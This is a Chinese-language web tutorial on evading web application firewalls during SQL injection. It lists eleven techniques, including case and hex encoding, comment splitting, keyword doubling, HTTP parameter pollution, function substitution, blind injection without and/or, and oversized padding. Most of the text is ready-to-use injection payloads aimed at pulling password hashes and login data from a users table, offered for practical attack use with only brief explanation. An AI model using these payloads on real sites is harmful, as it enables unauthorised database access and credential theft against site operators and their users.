您好,登錄后才能下訂單哦!
1.大小寫繞過
這個大家都很熟悉,對于一些太垃圾的WAF效果顯著,比如攔截了union,那就使用Union UnIoN等等繞過。
2.簡單編碼繞過
比如WAF檢測關鍵字,那么我們讓他檢測不到就可以了。比如檢測union,那么我們就用%55也就是U的16進制編碼來代替U,union寫成 %55nION,結合大小寫也可以繞過一些WAF,你可以隨意替換一個或幾個都可以。
也還有大家在Mysql注入中比如表名或是load文件的時候,會把文件名或是表明用16進制編碼來繞過WAF都是屬于這類。
3.注釋繞過
這種情況比較少,適用于WAF只是過濾了一次危險的語句,而沒有阻斷我們的整個查詢。
01./?id=1+union+select+1,2,3/*
比如對于上面這條查詢,WAF過濾了一次union和select,那么我們在之前在寫一個注釋的語句,讓他把注釋里面的過濾掉,并不影響我們的查詢。
所以繞過語句就是:
01./?id=1/*union*/union/*select*/select+1,2,3/*
還有一種和注釋有關的繞過:
比如:
01.index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…
可以看到,只要我們把敏感詞放到注釋里面,注意,前面要加一個!
4.分隔重寫繞過
還是上面的例子,適用于那種WAF采用了正則表達式的情況,會檢測所有的敏感字,而不在乎你寫在哪里,有幾個就過濾幾個。
我們可以通過注釋分開敏感字,這樣WAF的正則不起作用了,而帶入查詢的時候并不影響我們的結果。
01./?id=1+un/**/ion+sel/**/ect+1,2,3--
至于重寫繞過,適用于WAF過濾了一次的情況,和我們上傳aaspsp馬的原理一樣,我們可以寫出類似Ununionion這樣的。過濾一次union后就會執行我們的查詢了。
01.?id=1 ununionion select 1,2,3--
5.Http參數污染(HPP)
比如我們有這樣的語句:
01./?id=1 union select+1,2,3+from+users+where+id=1--
我們可以重復一次前面的id值添加我們的值來繞過,&id=會在查詢時變成逗號:
01./?id=1 union select+1&id=2,3+from+users+where+id=1--
這種情況成功的條件比較多,取決于具體的WAF實現。
再給出一個例子說明用法:
01./?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users--
具體分析的話就涉及到查詢語句的后臺代碼的編寫了。
比如服務器是這樣寫的:
01.select * from table where a=".$_GET['a']." and b=".$_GET['b']." limit ".$_GET['c'];
那我們可以構造這樣的注入語句:
01./?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
最終解析為:
01.select * from table where a=1 union/* and b=*/select 1,pass/*limit */from users--
可以看到,這種方式其實比較適合白盒測試,而對于黑盒***的話,用起來比較麻煩。但是也可以一試。
6.使用邏輯運算符 or /and繞過
01./?id=1+OR+0x50=0x50
02./?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
順便解釋一下第二句話,從最里面的括號開始分析,select+pwd+from+users+limit+1,1 這句是從users表里查詢pwd字段的第一條記錄,比如是admin,
然后mid(上一句),1,1就是取admin的第一個字符,也就是a,
lower(上一句)就是把字符轉換為小寫,
然后ascii就是把a轉換成ascii碼,看等不等于74。
7.比較操作符替換
包括!= 不等于,<>不等于,< 小于,>大于,這些都可以用來替換=來繞過。
比如上一個例子,要判斷是不是74,假設=被過濾,那么我們可以判斷是不是大于73,是不是小于75,然后就知道是74了。。很多WAF都會忘了這個。
8.同功能函數替換
Substring()可以用mid(),substr()這些函數來替換,都是用來取字符串的某一位字符的。
Ascii()編碼可以用hex(),bin(),也就是16進制和二進制編碼替換。Benchmark()可以用sleep()來替換,這兩個使用在基于延時的盲注中,有機會給大家介紹。
如果連這些都屏蔽了,還有一種新的方法:
01. substring((select 'password'),1,1) = 0x70
02.substr((select 'password'),1,1) = 0x70
03.mid((select 'password'),1,1) = 0x70
比如這三條,都是從password里判斷第一個字符的值,可以用:
01.strcmp(left('password',1), 0x69) = 1
02.strcmp(left('password',1), 0x70) = 0
03.strcmp(left('password',1), 0x71) = -1
來替換,left用來取字符串左起1位的值,strcmp用來比較兩個值,如果比較結果相等就為0,左邊小的話就為-1,否則為1。
還有我前幾篇說過的group_concat 和concat和concat_ws也可以互相替換。
9.盲注無需or和and
比如有這樣一個注入點:
01.index.php?uid=123
and、or被過濾了,其實有一種更直接的方法,我們直接修改123為我們的語句生成的:
01.index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)+123
123的時候頁面是正確的,我們現在在盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp結果為0,0+123=123,所以頁面應該是正確的。否則就說明不是B,就這樣猜,不用and和or了。
10. 加括號
01./?id=1+union+(select+1,2+from+users)
比如,上面這一條被WAF攔截了。可以試試加一些括號:
01./?id=1+union+(select+1,2+from+xxx)
02./?id=(1)union(select(1),mid(hash,1,32)from(users))
03./?id=1+union+(select'1',concat(login,hash)from+users)
04./?id=(1)union(((((((select(1),hex(hash)from(users))))))))
05./?id=(1)or(0x50=0x50)
11.緩沖區溢出繞過
這個是從國外一個博客看到的:
01.id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),
8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
02.,27,28,29,30,31,32,33,34,35,36–+
其中0xAAAAAAAAAAAAAAAAAAAAA這里A越多越好,一般要求1000個以上。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。